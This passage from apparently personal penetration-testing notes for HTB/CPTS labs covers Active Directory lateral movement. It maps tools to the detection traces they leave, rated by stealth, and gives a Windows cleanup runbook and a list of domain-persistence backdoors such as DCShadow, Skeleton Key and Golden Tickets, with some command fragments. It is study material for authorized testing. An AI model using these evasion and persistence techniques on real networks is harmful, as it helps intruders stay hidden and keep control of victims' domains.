-ato the target arch, and keep the payload .NET version-compatible with the target (-r/ runtime notes in the repo).
🧹 OPSEC & Cleanup — leave no (unnecessary) trace
Lateral movement is the noisiest stage. Every method leaves a different fingerprint — log what I did per host as I go, then reverse it.
Per-method artifact & detection map
| Method | Key artifacts left on target | Primary event IDs / telemetry | OPSEC rating |
|---|---|---|---|
| psexec.py / Sysinternals PsExec | EXE in ADMIN$, installed service | 7045 service install, 4697, 4624 T3, 4672 | 🔴 Loud |
| smbexec.py | Temp .bat/output in ADMIN$, service per command | 7045/4697 (repeated), 4624 T3 | 🟠 Medium-loud |
| wmiexec.py / SharpWMI | None persistent; wmiprvse.exe children | 4688 (parent=wmiprvse), 4624 T3 | 🟢 Quietest exec |
| atexec.py | Scheduled task (created+deleted), output file in ADMIN$ | 4698/4702 (if audited), 4688, 4624 T3 | 🟡 Medium |
| dcomexec.py / mmcexec | None; COM child of mmc/explorer | 4688, 4624 T3 | 🟢 Quiet-ish |
| evil-winrm / PSRemoting | wsmprovhost.exe runspace, PS history if interactive | 4624 T3, 4688, 4103/4104 script-block logs | 🟡 Medium |
| RDP (xfreerdp) | Interactive session, session shadowing if hijack | 4624 T10, 4778/4779 (reconnect), TermService 21/23/25 | 🔴 Very visible to a live user |
| sekurlsa::pth + native tool | None new; NewCredentials logon | 4624 T9, 4672 | 🟡 Medium |
| DCSync | None on DC (pure RPC) | 4662 (replication from non-DC) | 🟢 Quiet (if targeted) |
| NTDS via VSS | Shadow copy (deleted), copies in C:\Temp | 8222 (VSS), 4688 | 🟠 Medium-loud |
| Snaffler / share sweeps | None (read-only) | 4663 mass file reads (if SACLs), 5140/5145 share access | 🟠 Loud at scale |
| ligolo-ng / chisel agent | Agent binary on disk, TLS session | Netflow: long-lived TLS to odd port; EDR binary signatures | 🟡 Medium |
| netsh portproxy | Persistent portproxy rule | Rule visible in show v4tov4; iphlpsvc dependency | 🟡 Quiet but persistent |
| dnscat2 | Client script/binary | DNS log anomaly (TXT volume to one domain) | 🟠 Loud in DNS analytics |
Cleanup runbook (per host, before I move on)
# 1. Remove services I created (psexec-style names are random — I logged them):
sc.exe stop <svcname>; sc.exe delete <svcname>
# 2. Remove scheduled tasks (atexec / my own):
schtasks /delete /tn "<taskname>" /f
# 3. Delete dropped files: tools, output files, dumps, webshells, tunnel webshells:
del C:\Temp\m.exe C:\Temp\ntds.dit C:\Temp\SYSTEM C:\Windows\Temp\agent.exe
# 4. Revert config changes I made (Restricted Admin for RDP PtH!):
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
# 5. Remove netsh portproxy rules (persistent across reboots!):
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=<addr>
# 6. Remove ligolo listeners: listener_del <id> (in the proxy CLI)
# 7. Purge my tickets/creds from sessions I spawned:
klist purge # on hosts where I ran Rubeus ptt
# 8. Delete shadow copies I created (VSS leftovers are a beacon):
vssadmin delete shadows /shadow={id} /quiet
[!warning] Hard rules
- Timestomping: don’t. Modern EDR (USN journal,
$LogFile, ShimCache, Prefetch, Amcache) catches timestamp manipulation trivially, and attempting it is itself a high-severity detection signal. Touch files only inC:\Windows\Temp-style locations and delete them.- Log tampering (clearing/wevtutil, deleting Security.evtx) is out of scope for CPTS/HTB engagements and prohibited on real pentests without explicit written authorization — it destroys evidence, is easily detected (1102 event-log-cleared, gaps in forwarding), and can break the client’s audit trail. Stealth comes from not generating noise (wmiexec over psexec, targeted DCSync over full dumps), never from deleting logs.
- Session hygiene: close RDP/WinRM/SSH sessions cleanly (log off, don’t just close the window —
logoff <id>), kill tmux/screen/agent processes on pivots, and verify listeners are down (ss -lntp,netstat -ano | findstr LISTEN).
🪤 Post-DA: persistence pointers
What to look for → you have Domain Admin / KRBTGT. Persistence is out of scope for most HTB flags (grab the hash, own the box, done), but for AD lab/CPTS completeness these are the durable footholds — each has a full note:
- Golden Ticket — forge TGTs with the KRBTGT hash (see STAGE 5). 🟠 Attack
- DCShadow — register a rogue DC and push attribute changes via replication (
lsadump::dcshadow /object:.. /attribute:.. /value:..→/push). Stealth companion to DCSync. 🔵 Attack - AdminSDHolder ACL — self-healing backdoor ACE on all protected objects (covered in STAGE 6). 🟡 Attack
- Skeleton Key — patch LSASS on the DC so a master password works for everyone. 🟤 Attack
- DSRM backdoor / SID History injection / Malicious GPO. 🟤 Attack · 🟤 Attack · 🟤 Attack
- SCCM/MECM (enterprise labs) — NAA creds, DPAPI client secrets:
SharpSCCM.exe local naa -m wmi,SharpDPAPI.exe sccm. 🔷 Attack - DPAPI backup key (above) — domain-wide offline decryption, survives reboots, no DC re-touch.
- Diamond/Sapphire ticket variants — quieter Golden Tickets built from a real TGT (08 - Stage 05 - Kerberos Attacks).
[!tip] Where next Domain owned → cross the trust boundary: Domain Trusts & Cross-Forest (SIDHistory, foreign group membership,
raiseChild.py, cross-forest Kerberoasting). Then wrap up evidence per Stage 11 — Documentation & Reporting.
[!navigation] Continue the attack flow Previous: Stage 09 — Privilege Escalation
Dashboard: HTB Pentest Attack Flow